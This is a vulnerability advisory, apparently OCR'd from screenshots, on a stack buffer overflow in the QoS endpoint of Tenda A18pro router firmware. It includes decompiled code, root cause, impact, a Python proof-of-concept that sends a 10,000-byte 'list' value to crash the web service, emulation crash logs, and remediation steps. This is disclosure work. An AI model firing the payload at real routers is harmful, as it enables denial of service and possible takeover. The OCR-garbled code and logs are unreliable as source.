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Vulnerability Description

During a security review of the Tenda A18pro router firmware (version V02.03.02.28), a critical stack-based
buffer overflow vulnerability was identified in the QoS (Quality of Service) configuration endpoint
/goform/formSetQosBand .

The vulnerability is located in the set_qosMib_list function, which is called by the request handler
formSetQosBand . The function receives a user-controlled list parameter. It searches for a delimiter and
then uses the unsafe strcpy function to copy the contents of the list into a fixed-size stack buffer gos_str
(256 bytes). Since the input length is not validated, an attacker can overwrite the stack frame, leading to a
Denial of Service (DoS) or arbitrary code execution.
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websFormDefine(“SetNetControlList“, formSetQosBand) ; '

void __fastcall formSetQosBand(webs_t wp, char_t *path, char_t *query)

char *list; // r4

int v5; // re

int vé6; // r2

char cgi_debug[16]; // [sp+18h] [bp-196h] BYREF

char ret_buf[32]; // [sp+26h] [bp-186h] BYREF

char guest_down_speed[32]; // [sp+46h] [bp-168h] BYREF
char guest_up_speed[32]; // [sp+68h] [bp-146h] BYREF
char msg_info[256]; // [sp+86h] [bp-1286h] BYREF

memset(ret_buf, 8, sizeof(ret_buf));

_L0T0) )5
(char_t *)&defaultGetValue );

— k) E
websGetVar(wp, "list",
1bl1ist();
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6 set_qgosoldMib_list();
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sMiblist():
Eet_qosMib_list(list, 10);

Tlouee o cpeet, B, Srrenrouest_down_speed));
memset(guest_up_speed, 8, sizeof(guest_up_speed));
GetValue((int)"wl.guest.down_speed"”, (int)guest_down_speed);
memset(cgi debug, @, sizeof(cgi debug));
if ( GetValue((int)"cgi_debug"”, (int)cgi_debug) && !strcmp("on™, cgi_debug) )

printf(
"%s[%s:%s:%d] %s%s == %s\n\x1B[em",
"\x1B[©;33m",
"cgi”,
"formSetQosBand”,

2073,
"\w1RTA-37m"

Root Cause

The vulnerability is caused by a failure to perform bounds checking when copying string data from a web
request into a local stack buffer.

1. Parameter Flow: formSetQosBand retrieves the 1ist variable and passes it directly to
set_gosMib_list(list, 10); .
2. Vulnerable Sink: Inside set_qgosMib_list , alocal buffer char qos_str[256] is defined.

3. Buffer Overflow: The function executes strcpy(qos_str, list); . If the segment of the list before the
delimiter exceeds 255 characters, it overflows qos_str , overwriting the function's return address on the
stack.

4. Secondary Risks: The parsed results are also passed to set_device_name , which (as previously
documented) contains its own sprintf overflow vulnerabilities.
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1 void _ fastcall set_gosMib_list(char *1lilst, char c)
2 {

3 char *v3; // re

4 char *list_1; // r9

5 int v5; // rll

6 int c_1; // [sp+8h] [bp-288h]
7

8

int num; // [sp+1Ch] [bp-274h] BYREF
char limit_en[8]; // [sp+26h] [bp-276h] BYREF
9 char tmp_drate[16]; // [sp+28h] [bp-268h] BYREF
1@ char tmp_urate[16]; // [sp+38h] [bp-258h] BYREF
11 char mac[32]; // [sp+48h] [bp-248h] BYREF
12 char qos_str[256]; // [sp+68h] [bp-228h] BYREF
L3 char tmp_devname[256]; // [sp+168h] [bp-128h] BYREF

L5 cl=oc;

16 num = @;

17 memset(qos_str, @, sizeof(qos_str));

18 memset(limit_en, @, sizeof(limit_en));
19 memset(mac, @, sizeof(mac));

20 memset(tmp_drate, @, sizeof(tmp_drate));
21 memset(tmp_urate, @, sizeof(tmp_urate));
22 memset(tmp_devname, @, sizeof(tmp_devname));
23 while ( 1)

24 {

25 v3 = strchr(list, c_1);

26 if ( 1v3 )

27 break;

28 list_ 1 = v3 + 1;

29 *v3 = 8;

33
34

e S ema M mmmm- I o (A R R W.wrA.l.WrA.T.0FA.T WA .0 o L T, ——- dem seem =

Vulnerable Code Logic (C representation):

void set_qosMib_list(char *1list, char c) { d;
char qos_str[256]; // Fixed-size stack buffer
char *v3;
while (1) {

v3 = strchr(list, (int)c);
if (!v3) break;
*v3 = 0; // Null-terminate current segment

// VULNERABLE: No length check before copying 'list' to 'qos_str'
strcpy(qos_str, list);

// ... (Parsing logic and calls to set_device_name)
list = v3 + 1;

Impact
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« Remote Code Execution (RCE): An attacker can hijack the program counter (PC) to redirect execution
to a malicious payload, potentially gaining full control of the router.
« Denial of Service (DoS): A long payload will crash the httpd service, preventing users from accessing
the router's management interface.

Proof of Concept (PoC)
The following Python script demonstrates the vulnerability by sending a long list parameter to trigger the
overflow.

import requests [E]

url = "http://192.168.15.142/goform/formSetQosBand"

# The payload uses a long string to overflow the 256-byte buffer
# We include the delimiter (ASCII 10) to trigger the strcpy path
payload = {

'list': 'A' * 10000 + chr(10)

print(f"[*] Sending malicious QoS payload to {url}...")
try:
res = requests.post(url, data=payload, timeout=5)
print(f"[+] Request completed, Status Code: {res.status_code}")
except requests.exceptions.Timeout:
print("[+] Success: Target service crashed (Timeout).")
except Exception as e:
print(f"[-] Error: {e}")

4. Firmware Emulation

The firmware was successfully emulated. The web interface is accessible, and the vulnerability can be
triggered in the simulated environment.
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_multi_TDEO1 bin_extract:

connect cfmd is
nect: Ne s file or dire
:cfms_mib_proc_handle, Llin connect cfimd
No such file or directo
_| connect cfmd is error
: No such file or directory
cfms_mib_proc_handle, line:191 connect cfmd
No such file or directory
_proc_handle, lin connect cfnd is error.
file or directory
1 connect cfmd is error.
nnect cfmd is
No such file or directo
mib_proc_handle, lin connect cfmd is error
can't create /proc i tcp_timestamps: nonexistent directory

.15.142 port
sts at a -15.142
No such file or directory
mib_proc_handle, line:191 connect cfmd is error.

or directory
line:191 connect cfmd is error.

e Running the PoC

€« > C @ 192.168.15.142

OffSec  KaliLinux 4 KaliTools # KaliDocs  KaliForums X Kali NetHunter = Exploit-DB  Google Hacking DB # Tenda WiFi

func:cfms_mib_proc_handle, line:203 connect cfmd i
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd i
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd i
connect: No such file or directory
Unable to connect func:cfms_mib_proc_handle, line:203 connect cfmd i
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd i
connect: No such file or directory
« The site could be temporarily unavailable or too busy. Try again in a few moments func: cfms_mib_proc_handle, line:203 connect cfmd i
o If you are unable to load any pages, k your computer’s network conn connect: No such file or directory
xis permitted to access fync:cfms_mib_proc_handle, line:203 connect cfmd i
connect: No such file or directory
[ )-[~/RX3-poc] func:cfms_mib_proc_handle, line:203 connect cfmd i
SPEUETE BRI SEIA D L 7 . — iconnect: No such file or directory
[*] E# @A http://192.168.15.142/goform/SetNetControllist RiXiEK ... ) N .
Traceback (most recent call last): func:cfms_mib_proc_handle, line:203 connect cfmd
File , line i connect: No such file or directory
n func:cfms_mib_proc_handle, line:203 connect cfmd is error.
response = self._make_request( connect: No such file or directory

...<i;n:£nes>... func:cfms_mib_proc_handle, line:203 connect cfmd is error.
*xresponse_kw, gemu: uncaught target signal 11 (Segmentation fault) - core dumped

) Segmentation fault (core dumped)
File i ///#D

response = conn.getresponse()
File

Firefox can't establish a connection to the server at 192.168.15.142.

-

httplib_response = super().getresponse() 4
File , line { t

Remediation

1. Use Safe String Functions: Replace strcpy(qos_str, list); with strncpy(qos_str, list,
sizeof(qos_str) - 1); and ensure null-termination.

2. Input Validation: Check the length of the 1ist parameter before passing it to the processing functions.

3. Modernize Parsing: Use snprintf and sscanf with width specifiers (e.g., %255[*;] ) to prevent
internal buffer overflows during parsing.
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